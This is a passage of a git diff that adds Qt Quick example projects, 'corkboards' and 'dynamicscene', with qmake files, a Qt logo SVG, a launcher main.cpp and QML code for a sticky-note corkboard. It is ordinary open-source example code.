+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/toys/corkboards
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/toys/corkboards/corkboards.qmlproject b/examples/declarative/toys/corkboards/corkboards.qmlproject
new file mode 100644
index 00000000..c500f9da
--- /dev/null
+++ b/examples/declarative/toys/corkboards/corkboards.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/corkboards"
+ }
+ JavaScriptFiles {
+ directory: "qml/corkboards"
+ }
+ ImageFiles {
+ directory: "qml/corkboards"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/toys/corkboards/corkboards.svg b/examples/declarative/toys/corkboards/corkboards.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/toys/corkboards/corkboards.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/toys/corkboards/main.cpp b/examples/declarative/toys/corkboards/main.cpp
new file mode 100644
index 00000000..0ca8f8d4
--- /dev/null
+++ b/examples/declarative/toys/corkboards/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/corkboards/corkboards.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/toys/corkboards/qml/corkboards/Day.qml b/examples/declarative/toys/corkboards/qml/corkboards/Day.qml
new file mode 100644
index 00000000..87b67681
--- /dev/null
+++ b/examples/declarative/toys/corkboards/qml/corkboards/Day.qml
@@ -0,0 +1,153 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Component {
+ Item {
+ property variant stickies
+
+ id: page
+ width: ListView.view.width+40; height: ListView.view.height
+
+
+ Image {
+ source: "cork.jpg"
+ width: page.ListView.view.width
+ height: page.ListView.view.height
+ fillMode: Image.PreserveAspectCrop
+ clip: true
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: page.focus = false;
+ }
+
+ Text {
+ text: name; x: 15; y: 8; height: 40; width: 370
+ font.pixelSize: 18; font.bold: true; color: "white"
+ style: Text.Outline; styleColor: "black"
+ }
+
+ Repeater {
+ model: notes
+ Item {
+ id: stickyPage
+
+ property int randomX: Math.random() * (page.ListView.view.width-0.5*stickyImage.width) +100
+ property int randomY: Math.random() * (page.ListView.view.height-0.5*stickyImage.height) +50
+
+ x: randomX; y: randomY
+
+ rotation: -flickable.horizontalVelocity / 100;
+ Behavior on rotation {
+ SpringAnimation { spring: 2.0; damping: 0.15 }
+ }
+
+ Item {
+ id: sticky
+ scale: 0.7
+
+ Image {
+ id: stickyImage
+ x: 8 + -width * 0.6 / 2; y: -20
+ source: "note-yellow.png"
+ scale: 0.6; transformOrigin: Item.TopLeft
+ smooth: true
+ }
+
+ TextEdit {
+ id: myText
+ x: -104; y: 36; width: 215; height: 200
+ smooth: true
+ font.pixelSize: 24
+ readOnly: false
+ rotation: -8
+ text: noteText
+ }
+
+ Item {
+ x: stickyImage.x; y: -20
+ width: stickyImage.width * stickyImage.scale
+ height: stickyImage.height * stickyImage.scale
+
+ MouseArea {
+ id: mouse
+ anchors.fill: parent
+ drag.target: stickyPage
+ drag.axis: Drag.XandYAxis
+ drag.minimumY: 0
+ drag.maximumY: page.height - 80
+ drag.minimumX: 100
+ drag.maximumX: page.width - 140
+ onClicked: { myText.focus = true; myText.openSoftwareInputPanel(); }
+ }
+ }
+ }
+
+ Image {
+ x: -width / 2; y: -height * 0.5 / 2
+ source: "tack.png"
+ scale: 0.7; transformOrigin: Item.TopLeft
+ }
+
+ states: State {
+ name: "pressed"
+ when: mouse.pressed
+ PropertyChanges { target: sticky; rotation: 8; scale: 1 }
+ PropertyChanges { target: page; z: 8 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "rotation,scale"; duration: 200 }
+ }
+ }
+ }
+ }
+}
+
+
+
+
+
+
+
+
diff --git a/examples/declarative/toys/corkboards/qml/corkboards/cork.jpg b/examples/declarative/toys/corkboards/qml/corkboards/cork.jpg
new file mode 100644
index 00000000..160bc002
--- /dev/null
+++ b/examples/declarative/toys/corkboards/qml/corkboards/cork.jpg
Binary files differ
diff --git a/examples/declarative/toys/corkboards/qml/corkboards/corkboards.qml b/examples/declarative/toys/corkboards/qml/corkboards/corkboards.qml
new file mode 100644
index 00000000..5ca852c6
--- /dev/null
+++ b/examples/declarative/toys/corkboards/qml/corkboards/corkboards.qml
@@ -0,0 +1,115 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 800; height: 480
+ color: "#464646"
+
+ ListModel {
+ id: list
+
+ ListElement {
+ name: "Sunday"
+ notes: [
+ ListElement { noteText: "Lunch" },
+ ListElement { noteText: "Birthday Party" }
+ ]
+ }
+
+ ListElement {
+ name: "Monday"
+ notes: [
+ ListElement { noteText: "Pickup kids from\nschool\n4.30pm" },
+ ListElement { noteText: "Checkout Qt" }, ListElement { noteText: "Read email" }
+ ]
+ }
+
+ ListElement {
+ name: "Tuesday"
+ notes: [
+ ListElement { noteText: "Walk dog" },
+ ListElement { noteText: "Buy newspaper" }
+ ]
+ }
+
+ ListElement {
+ name: "Wednesday"
+ notes: [ ListElement { noteText: "Cook dinner" } ]
+ }
+
+ ListElement {
+ name: "Thursday"
+ notes: [
+ ListElement { noteText: "Meeting\n5.30pm" },
+ ListElement { noteText: "Weed garden" }
+ ]
+ }
+
+ ListElement {
+ name: "Friday"
+ notes: [
+ ListElement { noteText: "More work" },
+ ListElement { noteText: "Grocery shopping" }
+ ]
+ }
+
+ ListElement {
+ name: "Saturday"
+ notes: [
+ ListElement { noteText: "Drink" },
+ ListElement { noteText: "Download Qt\nPlay with QML" }
+ ]
+ }
+ }
+
+ ListView {
+ id: flickable
+
+ anchors.fill: parent
+ focus: true
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ orientation: ListView.Horizontal
+ snapMode: ListView.SnapOneItem
+ model: list
+ delegate: Day { }
+ }
+}
diff --git a/examples/declarative/toys/corkboards/qml/corkboards/note-yellow.png b/examples/declarative/toys/corkboards/qml/corkboards/note-yellow.png
new file mode 100644
index 00000000..8ddecc8b
--- /dev/null
+++ b/examples/declarative/toys/corkboards/qml/corkboards/note-yellow.png
Binary files differ
diff --git a/examples/declarative/toys/corkboards/qml/corkboards/tack.png b/examples/declarative/toys/corkboards/qml/corkboards/tack.png
new file mode 100644
index 00000000..cef2d1cd
--- /dev/null
+++ b/examples/declarative/toys/corkboards/qml/corkboards/tack.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.png b/examples/declarative/toys/dynamicscene/dynamicscene.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/dynamicscene.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.pro b/examples/declarative/toys/dynamicscene/dynamicscene.pro
new file mode 100644
index 00000000..7aaf2cb4
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/dynamicscene.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/dynamicscene
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEE509F2D
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/toys/dynamicscene
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qmlproject b/examples/declarative/toys/dynamicscene/dynamicscene.qmlproject
new file mode 100644
index 00000000..dd02c509
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/dynamicscene.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/dynamicscene"
+ }
+ JavaScriptFiles {
+ directory: "qml/dynamicscene"
+ }
+ ImageFiles {
+ directory: "qml/dynamicscene"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.svg b/examples/declarative/toys/dynamicscene/dynamicscene.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/dynamicscene.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
